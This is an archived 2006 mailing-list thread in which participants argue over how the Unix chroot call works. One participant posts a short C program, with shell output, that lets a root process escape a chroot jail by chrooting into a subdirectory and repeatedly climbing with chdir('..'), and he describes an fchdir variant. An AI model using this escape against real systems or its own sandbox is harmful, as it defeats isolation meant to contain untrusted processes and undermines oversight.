ok. i completely misunderstood your original mail, and i see now why
this works.
sorry,
--guy
On Sat, 2006-09-23 at 22:00 +0300, Michael Vasiliev wrote:
> On Saturday September 23 2006 19:18, guy keren wrote:
> > On Sat, 2006-09-23 at 06:25 +0300, Michael Vasiliev wrote:
> > > On Saturday September 23 2006 03:31, Amos Shapira wrote:
> > > > On 23/09/06, Michael Vasiliev <[EMAIL PROTECTED]> wrote:
> > > > > Not entirely correct, if you have some privileges, namely if you are
> > > > > still a root user inside a chroot padded cell, you can easily break
> > > > > out by moving up
> > > >
> > > > a root user can just create a device file and access any device
> > > > through that, that's why you shouldn't give root access if you don't
> > > > trust the user of the chroot jail.
> > >
> > > No points. We weren't discussing that, we discussed how the chroot call
> > > works. There are infinite number of things you can do with root access.
> > >
> > > > > the tree with fchdir(open(".",O_RDONLY)), followed by a number of
> > > > > chdir("..") and chrooting("."), eventually hitting the /. I think the
> > > > > BSD version of
> > > >
> > > > Are you sure? Have you tried this?
> > >
> > > Actually, I did something like that, about ten years ago. :) But don't
> > > tell anyone, ok? ;)
> > >
> > > > Here is what happens at the root of a chroot'ed directory:
> > > > # ls -ldi . ..
> > > > 2 drwxr-xr-x 22 root root 624 2006-06-08 17:49 .
> > > > 2 drwxr-xr-x 22 root root 624 2006-06-08 17:49 ..
> > > >
> > > > Same directory outside chroot:
> > > > # ls -ldi . ..
> > > > 2 drwxr-xr-x 22 root root 624 2006-06-08 17:49 .
> > > > 2 drwxr-xr-x 22 root root 4096 2006-08-26 10:25 ..
> > > >
> > > > I.e. the chroot environment will simulate the standard practice of
> > > > "/.." == "/" (the "624" means the they are the same i-node)
> > >
> > > Ok, they are on the same inode. I never claimed otherwise. And your point
> > > is?
> > >
> > > If the chroot does not set the working directory of the calling program
> > > to the chroot one, I don't even need the fchroot call.
> > >
> > > #include <sys/types.h>
> > > #include <sys/stat.h>
> > > #include <unistd.h>
> > > int main()
> > > {
> > > int i;
> > > mkdir("foo",0755);
> > > chroot("foo");
> > > for(i=0;i<255;i++) {
> > > chdir("..");
> > > }
> > > chroot(".");
> > > execl("/bin/sh","-i",NULL);
> > > }
> > >
> > > Works for me...
> > >
> > > foo / # chroot /chroot /bin/bash
> > > bash-3.1# ./bar
> > > foo / # ls
> > > bin boot chroot dev etc home lib lost+found mnt opt proc root
> > > sbin sys tmp usr var
> > > foo / #
> >
> > your program is flawed, and you didn't see it because you didn't check
> > any errors in it, neither have you read the man page of 'chroot(2)'.
>
> For a man your age, you spend too much time under my bed.
>
> > according to the man page, chroot does NOT change the directory. you
> > need to change it explicitly in your code. so your program did not
> > create the so-called "root jail" properly. if you had added a 'chdir'
> > into the new directory, and then did 'chroot "."', then you'd have done
> > your job (more) properly.
>
> The program was never intended to create a root jail, but to escape from one
> by setting a new root deeper than the working directory, thus effectively
> placing the wd outside the chroot, and then nothing will prevent me from
> chdir-ing all the way to the top.
> Even if you change the working directory of the calling process in your
> chroot
> code, I could still escape by adding the code of opening the wd, and fchdir
> into it to the code above, before the chdirs. It works for me, on my system.
> It does not have to work "as is" on yours. How should I know what grsecurity
> patch you have compiled in?
>
> > if you add error printings to your code, you'll see that your last execl
> > fails with 'no such file or directory'.
>
> Interesting. My original code had the error checks in. I stripped them. No,
> the execl call did not fail. I am a little bit concerned though, about your
> claims that you see things that happen on my system. Is it your wild
> imagination or should I be very, very afraid (TM) ? :)
>
=================================================================
To unsubscribe, send mail to [EMAIL PROTECTED] with
the word "unsubscribe" in the message body, e.g., run the command
echo unsubscribe | mail [EMAIL PROTECTED]
